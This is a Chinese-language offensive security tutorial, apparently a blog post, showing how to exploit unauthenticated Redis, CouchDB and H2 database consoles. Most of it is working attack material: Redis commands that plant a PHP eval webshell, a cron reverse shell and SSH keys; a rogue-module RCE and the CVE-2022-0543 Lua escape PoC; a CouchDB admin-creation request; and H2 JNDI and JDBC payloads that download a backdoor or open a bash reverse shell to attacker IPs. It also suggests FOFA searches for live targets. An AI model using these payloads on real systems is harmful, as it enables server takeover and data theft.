服务攻防_01数据库安全Redis&Couchdb&H2database

一、数据库-Redis-未授权RCE&CVE

1、未授权访问:CNVD-2015-07557

(1)漏洞描述

Redis默认情况下会绑定在6379端口
如果没有采取相关策略(如添加防火墙规则阻止非信任来源IP访问),会将Redis暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

(2)影响危害

 易受攻击对象:Redis linux环境 对公网开放 未启用认证 以root方式启动(非必需)

现象

  • Redis被执行过flushall命令进行清空
  • Redis内新建crackit的key
  • Redis的dir参数被指向/root/ssh文件夹
  • /root/.ssh目录下生成authoriz_keys文件(或覆盖现有的)

(3)环境搭建

靶机:ubuntu 192.168.1.111

安装redis服务器(redis-server)

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压,进入源码目录,然后编译(make、make install)

tar  -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install

启动redis-server,注意关闭ubuntu的 防火墙iptables and ufw

查看是否启用了redis-server

ps -ef |grep redis-server

攻击机:kali 192.168.1.110

kali安装安装redis客户端(redis-cli)

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
make install

测试redis客户端连接

漏洞利用须知:

必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的,如下图所示

Redis处于保护模式,只能本地链接,我们需要修改配置文件../redis.conf

vim redis.conf

# bind 127.0.0.1
protected-mode no

修改redis配置文件后需要重新启动redis

redis-server redis.conf

然后重新测试redis连接

redis常见命令

redis-cli -h 192.168.1.111                   #远程连接redis::
192.168.1.111:6379> info                     #查看redis版本信息、服务器版本信息等
192.168.1.111:6379> CONFIG GET dir           #获取默认的redis目录
192.168.1.111:6379> CONFIG GET dbfilename    #获取默认的rdb文件名
192.168.1.111:6379> set x “test”             #将变量x的值设为test
192.168.1.111:6379> get x                    #获取变量x的值

(4)漏洞复现

Type1:写入webshell

前提条件:

1.目标有web网站 

2.知道网站根目录绝对路径(可以利用phpinfo或者错误暴路径等)

3.对目标网站根目录有写入权限。

获取网站路径方法https://www.cnblogs.com/endust/p/12132374.html

 漏洞利用:

config set dir /tmp #设置WEB写入目录

config set dbfilename 1.php #设置写入文件名

set test "<?php phpinfo();?>" #设置写入文件代码

bgsave #保存执行

save #保存执行
  • 目标有网站,使用的是xampp,xampp网站默认路径/opt/lampp/htdocs

192.168.1.111:6379> config set dir /opt/lampp/htdocs
OK
192.168.1.111:6379> config set dbfilename 1.php
OK
192.168.1.111:6379> set test "<?php phpinfo();?>"
OK
192.168.1.111:6379> bgsave
Background saving started
192.168.1.111:6379> save
OK
192.168.1.111:6379> 

set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"

  • 打开蚁剑连接这个webshell

Type2:写定时任务反弹shell
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.110/5555 0>&1\n\n\n"
config set dbfilename x
save

客户机监听5555端口,反弹shell未成功

Type3:写入Linux ssh-key公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

首先在攻击机(kali)上生成ssh公钥

 将公钥写入foo.txt文件

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

再把key.txt文件内容写入redis缓冲

cat key.txt | redis-cli -h 192.168.1.111 -x set xxx

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。
这里是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

目标使用ssh服务连接其他服务器后,会自动 产生.ssh目录
经测试必须是目标服务器通过ssh连接其他服务器,目标服务器才会产生./ssh目录。若是其他服务器主动ssh连接目标服务器,则目标服务器不产生.ssh目录。

 测试是否可以通过ssh登录目标服务器,成功登录

Tyep4:自动化工具

redis-rogue-serverTyep4:自动化工具redis-rogue-server

编译工具:

cd RedisModulesSDK/exp/
make

 工具利用:

 ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1

 vulfocus靶场实验:

漏洞利用

 交互模式:

反弹模式:反弹shell未成功

学习参考: Redis 攻击方法总结(三)-阿里云开发者社区

2、未授权访问-CNVD--2019-21763

(1)漏洞描述

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

(2)漏洞利用

工具:https://github.com/vulhub/redis-rogue-getshell

#Windows下载工具zip包上传至服务器
#解压
unzip redis-rogue-getshell-master.zip
#编译
cd redis-rogue-getshell-master
cd RedisModulesSDK/
make

 编译后会生成.so文件

 查看帮助

python3 redis-master.py -h

 命令执行:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "id"

同样可以执行其他命令,如

#查看当前路径
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "pwd"
#查看当前用户名
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "whoami"
#查看tmp目录下的所有文件和文件夹
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "ls /tmp"

 3、沙箱绕过RCE-CVE-2022-0543

(1)漏洞简介

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

(2)漏洞 利用

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

执行pwd命令、ls命令

#执行pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0 
#执行ls命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0 

 

实战中有没有这个漏洞呢?

 FOFA语法搜一下

二、数据库-Couchdb-未授权RCE&CVE

1、Couchdb 垂直权限绕过(CVE-2017-12635

(1)漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在20171115日,CVE-2017-12635和CVE-2017-12636披露利用。

Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。

#数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

(2)漏洞利用

1、先创建用户

修改数据包

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

{

"type": "user",

"name": "xiaodi",

"roles": ["_admin"],

"roles": [],

"password": "xiaodi"

}

2、登录用户授权

Get:/_utils/

xiaodi xiaodi

2、Couchdb 命令执行 (CVE-2017-12636)

(1)漏洞描述

Apache CouchDB是美国阿帕奇(Apache)软件基金会一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意的shell命令(包括:从公共网络上下载和执行脚本)。

(2)漏洞利用

默认端口是5984

fofa也可以搜

port=“5984”

就全是 couchDB的数据库

exp利用

1、下载exp.py

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

2、修改目标和反弹地址

3、Python3调用执行即可

执行之前在攻击主机实施监听:

nc -lvvp 9999

三、数据库-H2database-未授权RCE&VCVE

(1)漏洞描述

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

(2)漏洞利用

默认端口:20051(实战中端口是有 可能更改的)

有些 网站也有可能是8082和9082,还是需要通过一些其他的特征来判断。

H2database控制端,如果看到这个界面说明是H2database,一个java应用数据库。

安全问题:在2.1.210版本 之前的H2控制台包含Jdbc的 攻击。

网上 利用方案就是利用JNDI注入

H2database-未授权访问漏洞复现_h2 database connection-CSDN博客

在攻击机上启动JNDI服务:

下载JNDI-Injection-Exploit

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

wget https://github.com/welk1n/JNDI-Injection-Exploit

生成执行RMI Payload-URL

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.220.95
#-A 参数后是攻击机IP地址

javax.naming.InitialContext

其他复现思路:

使用JNDI工具生成RMI利用链,执行命令下载后门文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "wget http://x.x.x.x/shell.elf" -A 攻击机IP地址

填入URL提交执行,点击连接

下载后门之后,给木马文件加执行权限(还是和上面同样的方式)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "chmod 777 shell.elf" -A 攻击机IP地址

靶场地址有加载rmi url就说明执行了,最后再执行 后门。

1、未授权进入:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

2、RCE执行反弹:

-创建数据库文件:h2database.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

-启动提供SQL文件远程加载服务

利用python搭建web服务

python3 -m http.server 端口

尝试访问python搭建的web服务

-填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://49.232.220.95:9999/fuckh2database.sql';

http://49.232.220.95:9999/fuckh2database.sql

nc监听反弹shell端口

nc -lvvp xxxx

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-21 09:26:01       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-21 09:26:01       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-21 09:26:01       45 阅读
  4. Python语言-面向对象

    2024-07-21 09:26:01       55 阅读

热门阅读

  1. 高等数学用到的初等数学

    2024-07-21 09:26:01       16 阅读
  2. JVM 在什么情况下会触发垃圾回收?

    2024-07-21 09:26:01       16 阅读
  3. Dubbo 的本地伪装

    2024-07-21 09:26:01       18 阅读
  4. 服务器注意事项

    2024-07-21 09:26:01       17 阅读
  5. 强化学习算法PPO实现

    2024-07-21 09:26:01       12 阅读
  6. ansible——ansible的安装

    2024-07-21 09:26:01       16 阅读
  7. Kotlin 基础语法

    2024-07-21 09:26:01       18 阅读
  8. OpenSSH移植

    2024-07-21 09:26:01       13 阅读
  9. MySQL 创建数据库

    2024-07-21 09:26:01       16 阅读
  10. python的lambda匿名函数

    2024-07-21 09:26:01       19 阅读
  11. R9000X安装ubuntu后没有声音问题解决

    2024-07-21 09:26:01       17 阅读
  12. 【SpringBoot】测试Control接口方法

    2024-07-21 09:26:01       17 阅读
  13. Vit配置

    2024-07-21 09:26:01       19 阅读
  14. Tracy 小笔记:微信小程序 mpx 雷达图的实现

    2024-07-21 09:26:01       15 阅读
  15. C++知识点总结(49):树的存储与遍历

    2024-07-21 09:26:01       18 阅读